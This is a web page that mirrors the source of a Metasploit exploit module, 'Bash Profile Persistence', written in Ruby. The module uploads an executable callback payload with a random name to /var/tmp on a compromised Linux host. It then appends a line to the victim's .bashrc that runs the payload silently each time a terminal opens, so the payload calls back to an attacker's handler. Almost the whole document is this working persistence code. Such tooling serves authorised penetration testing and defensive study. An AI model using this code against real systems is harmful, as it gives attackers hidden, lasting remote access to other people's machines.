CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/local/bash_profile_persistence.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = NormalRanking
8
include Msf::Post::Common
9
include Msf::Post::File
10
include Msf::Post::Unix
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Bash Profile Persistence',
17
'Description' => %q{
18
This module writes an execution trigger to the target's Bash profile.
19
The execution trigger executes a call back payload whenever the target
20
user opens a Bash terminal. A handler is not run automatically, so you
21
must configure an appropriate exploit/multi/handler to receive the callback.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [
25
'Michael Long <bluesentinel[at]protonmail.com>'
26
],
27
'DisclosureDate' => '1989-06-08', # First public release of Bourne Again Shell
28
'Platform' => ['unix', 'linux'],
29
'Arch' => ARCH_CMD,
30
'SessionTypes' => ['meterpreter', 'shell'],
31
'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },
32
'Targets' => [
33
['Automatic', {}]
34
],
35
'DefaultTarget' => 0,
36
'Payload' => {
37
'Compat' =>
38
{
39
'PayloadType' => 'cmd',
40
'Meterpreter' => {
41
'Commands' => %w[
42
stdapi_sys_config_sysinfo
43
]
44
}
45
}
46
},
47
'References' => [
48
['URL', 'https://attack.mitre.org/techniques/T1156/']
49
],
50
'Notes' => {
51
'Reliability' => [ REPEATABLE_SESSION ],
52
'Stability' => [ CRASH_SAFE ],
53
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ]
54
}
55
)
56
)
57
58
register_options(
59
[
60
OptString.new('BASH_PROFILE', [true, 'Target Bash profile location. Usually ~/.bashrc or ~/.bash_profile.', '~/.bashrc']),
61
OptString.new('PAYLOAD_DIR', [true, 'Directory to write persistent payload file.', '/var/tmp/'])
62
]
63
)
64
end
65
66
def exploit
67
# expand home directory path (i.e. '~/.bashrc' becomes '/home/user/.bashrc')
68
profile_path = datastore['BASH_PROFILE']
69
if profile_path.start_with?('~/')
70
home_directory = get_env('$HOME')
71
profile_path.sub!(/^~/, home_directory)
72
end
73
74
# check that target Bash profile file exists
75
unless exist?(profile_path)
76
fail_with Failure::NotFound, profile_path
77
end
78
print_good("Bash profile exists: #{profile_path}")
79
80
# check that target Bash profile file is writable
81
unless writable?(profile_path)
82
fail_with Failure::NoAccess, profile_path
83
end
84
print_good("Bash profile is writable: #{profile_path}")
85
86
# create Bash profile backup on local system before persistence is added
87
backup_profile = read_file(profile_path)
88
backup_profile_path = create_backup_file(backup_profile)
89
print_status("Created backup Bash profile: #{backup_profile_path}")
90
91
# upload persistent payload to target and make executable (chmod 700)
92
payload_file = datastore['PAYLOAD_DIR'] + Rex::Text.rand_text_alpha(10..16)
93
upload_and_chmodx(payload_file, payload.encoded)
94
95
# write payload trigger to Bash profile
96
exec_payload_string = "#{payload_file} > /dev/null 2>&1 &" + "\n" # send stdin,out,err to /dev/null
97
append_file(profile_path, exec_payload_string)
98
print_good('Created Bash profile persistence')
99
print_status('Payload will be triggered when target opens a Bash terminal')
100
print_warning("Don't forget to start your handler:")
101
print_warning("msf> handler -H #{datastore['LHOST']} -P #{datastore['LPORT']} -p #{datastore['PAYLOAD']}")
102
end
103
104
# create a backup copy of the target's Bash profile on the local system before persistence is added
105
def create_backup_file(backup_profile)
106
begin
107
hostname = session.sys.config.sysinfo['Computer']
108
rescue NoMethodError
109
hostname = cmd_exec('hostname')
110
end
111
112
timestamp = '_' + ::Time.now.strftime('%Y%m%d.%H%M%S')
113
114
log_directory_name = ::File.join(Msf::Config.log_directory, 'persistence/' + hostname + timestamp)
115
116
::FileUtils.mkdir_p(log_directory_name)
117
118
log_file_name = log_directory_name + '/Bash_Profile.backup'
119
file_local_write(log_file_name, backup_profile)
120
return log_file_name
121
end
122
end
123
124